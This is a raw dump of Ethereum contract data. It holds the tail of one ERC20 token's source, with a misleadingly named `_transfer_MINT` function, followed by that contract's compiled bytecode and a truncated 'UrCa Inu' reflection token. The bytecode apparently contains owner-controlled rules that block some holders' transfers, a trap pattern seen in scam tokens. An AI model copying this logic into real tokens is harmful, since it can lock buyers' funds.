function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_MINT(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122006b66355312bc3eeb1955dc6804e3c401de3e6c6bc5a4b91f5a9efb089bd15b964736f6c63430006060033
[ 38 ]
0xf25c9ac04ae200eaad71b7446241e59247062fa9
pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract URCA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tBurnTotal; string private _name = 'UrCa Inu'; string private _symbol = 'UrCa'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tBurnTotal = _tBurnTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private { _rTotal = _rTotal.sub(rFee); _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) { uint256[12] memory _localVal; (_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount); _localVal[3] /**currentRate*/ = _getRate(); ( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] 